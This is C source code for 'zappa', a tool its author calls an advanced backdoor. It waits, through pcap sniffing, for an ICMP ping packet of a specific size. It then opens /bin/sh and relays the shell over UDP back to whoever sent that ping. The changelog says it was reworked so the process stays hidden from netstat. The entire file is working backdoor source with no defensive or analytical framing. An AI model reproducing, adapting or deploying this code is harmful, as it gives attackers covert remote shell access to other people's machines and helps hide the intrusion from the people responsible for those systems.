/***************************************************************************
 * zappa v0.2 - advanced backdoor
 * by Soeren Bleikertz, sb@osdev.de - http://www.sac.cc
 *
 * Description:
 * 'zappa' is an advanced backdoor, which doesn't listen on a TCP-port for
 * clients. It waits for a special ICMP-packet and then it 'connects' back
 * to an UDP-server on the 'client'.
 *
 * ChangeLog
 * - Replaced ICMP-Rawsock with pcap-stuff -> process not listed by netstat
 *
 ****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <time.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <getopt.h>
#include <pcap.h>
#include <netinet/if_ether.h>

//CONFIG
#define PORT     2323 //53 would be a nice value
#define PKT_SIZE   100 // ping -s <PKT_SIZE>
#define SHELL     "/bin/sh"
#define TIMEOUT   20 //seconds
#define BUFF_SIZE   8192 //bytes
//EOC

#define BAN_WELCOME   "evil backd00r - Have a lot of fun..\n" //change this :>
#define BAN_BYE   "Have a nice day..\n"

//globals
int verbose, silent;
char *pcap_dev;
pcap_t *pcap_desc;

//SIGCHLD-handler
void sig_chld(int signo)
{
  pid_t pid;
  int s;
  while ((pid = waitpid(-1, &s, WNOHANG)) > 0)
    return;
}

//UDP-based and passive backdoor
int backdoor(struct in_addr *src)
{
  struct sockaddr_in cli;
  //fd: child--write-->parent, //fd2: parent--write-->child
  int sock, sock_b, pipe_b, fd[2], fd2[2], highfd; 
  char buffer[BUFF_SIZE];
  socklen_t len;
  pid_t pid;
  fd_set readfds;
  struct timeval tout; //timeout
  
  if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
    if (!silent)
      perror("[!] socket() failed");

    return -1;
  }
  
  cli.sin_addr.s_addr = src->s_addr;
  cli.sin_port = htons(PORT);
  cli.sin_family = AF_INET;
  len = sizeof(cli);
  
  FD_ZERO(&readfds);
  
  sendto(sock, BAN_WELCOME, sizeof(BAN_WELCOME), 0,
    (struct sockaddr*)&cli, len);
  if (!silent)
    printf("[+] send banner\n");
  
  if ((pipe(fd) == -1) || (pipe(fd2) == -1)) {
    if (!silent)
      perror("[!] pipe() failed");
    return -1;
  }    
  //child
  if ((pid=fork()) == 0) {
      close(fd[0]); //close read-pipe
      close(fd2[1]); //close write-pipe
      //redirect I/O
      dup2(fd2[0], 0);
      dup2(fd[1], 1);
      dup2(fd[1], 2);
      execl(SHELL, SHELL, NULL); //start shell
      close(fd[1]);
      close(fd2[0]);
      exit(0);
  }
  //parent
  else if (pid > 0) {
    close(fd[1]); //close write-pipe
    close(fd2[0]); //close read-pipe
    
    fcntl(sock, F_SETFL, O_NONBLOCK);
    fcntl(fd[0], F_SETFL, O_NONBLOCK);
  
    highfd = (sock > fd[0]) ?sock :fd[0];
  
    if (!silent)
      printf("[+] select()..\n");
    
    while(1) {
      FD_SET(sock,&readfds);
      FD_SET(fd[0],&readfds);
      
      bzero(buffer, sizeof(buffer));
      
      tout.tv_sec = TIMEOUT;
      tout.tv_usec = 0;
    
      select(highfd+1, &readfds,NULL,NULL,&tout);
    
      sock_b = recvfrom(sock, buffer, sizeof(buffer), 0,
        (struct sockaddr*)&cli, &len);
      pipe_b = read(fd[0], buffer, sizeof(buffer));
    
      if (sock_b > 0) {
        //verify src-addr
        if (src->s_addr != cli.sin_addr.s_addr)
          continue;
        write(fd2[1], buffer, sock_b);
      }
    
      if (pipe_b > 0) {
        buffer[pipe_b] = 0;
        sendto(sock, buffer, pipe_b, 0,
          (struct sockaddr*)&cli, len);
      }
    
      if ((!pipe_b) || (!sock_b))
        break;
    }
    close(fd[0]); //close pipe
    close(fd2[1]); //close pipe
    sendto(sock, BAN_BYE, sizeof(BAN_BYE), 0,
      (struct sockaddr*)&cli, len);
    close(sock); //close socket
  }
  else {
    if (!silent)
      perror("[!] fork() failed");
    return -1;
  }

  return 0;
}

void usage(void)
{
  printf("usage: zappa [opt]\n"
    "\t-v\tverbose mode\n"
    "\t-s\tsilent mode\n"
    "\t-i <dev>\tdevice for pcap\n\n");
  exit(0);
}

//mostly from stevens
int pcap_init(void)
{
  int snaplen = PKT_SIZE+sizeof(struct ether_header)+sizeof(struct iphdr)+sizeof(struct icmphdr)+1;
  //struct bpf_program filter;
  char err_buf[PCAP_ERRBUF_SIZE];
  uint32_t localnet, netmask;
  
  if (pcap_dev == NULL)
    if ((pcap_dev = pcap_lookupdev(err_buf)) == NULL)
      if (!silent) {
        printf("[!] pcap_lookupdev() failed: %s\n", err_buf);
        return -1;
      }
  if (!silent)
    printf("[+] using dev: %s\n", pcap_dev);
  
  if (((pcap_desc = pcap_open_live(pcap_dev, snaplen, 0, 500, err_buf)) == NULL)
    && (!silent)){
    printf("[!] pcap_open_live() failed: %s\n", err_buf);
    return -1;
  }
  
  if ((pcap_lookupnet(pcap_dev, &localnet, &netmask, err_buf) <0) && (!silent)) {
    printf("[!] pcap_lookupnet() failed: %s\n", err_buf);
    return -1;
  }
  
  return 0;
}

void icmp_watch(void)
{
  char *ptr;
  struct pcap_pkthdr hdr;
  int len;
  struct ether_header *eptr;
  struct ip *iphdr;
  struct icmphdr *icmph;
    
  while(1) {
    while((ptr = (char*) pcap_next(pcap_desc, &hdr)) == NULL);
    
    len = hdr.caplen;
    
    eptr = (struct ether_header*) ptr;
    if (ntohs(eptr->ether_type) != ETHERTYPE_IP)
      continue;
    
    iphdr = (struct ip*)(ptr+14);
    icmph = (struct icmphdr*)(ptr+14+sizeof(struct ip));

    if ((len == (PKT_SIZE+sizeof(struct ether_header)+sizeof(struct iphdr)+
        sizeof(struct icmphdr))) &&
      (iphdr->ip_v == 4) && (iphdr->ip_p == IPPROTO_ICMP)
      && (icmph->type == ICMP_ECHO)
      ) {
        if (!silent)
          printf("[+] starting backdoor..\n");
        backdoor(&(iphdr->ip_src));
        if (!silent)
          printf("[+] backdoor closed\n");
      }
  }
  
}

int main (int argc, char **argv)
{
  int foo;
  
  // init sig-handler for childs
  signal(SIGCHLD,sig_chld);
  
  while ((foo = getopt(argc, argv, "i:vs")) != -1) {
    switch(foo) {
      case 's': silent++; break;
      case 'v': verbose++; break;
      case 'i': pcap_dev = optarg; break;
      case '?': printf("[!] unknown option\n");
        usage(); break;
    }
  }  
  
  if (!silent)
    printf("[+] zappa backdoor by soeren, sac.cc\n");
  
  if (pcap_init() == -1) {
    printf("[!] pcap_init failed\n");
    return -1;
  }
  
  icmp_watch();

  return 0;
}
//EOF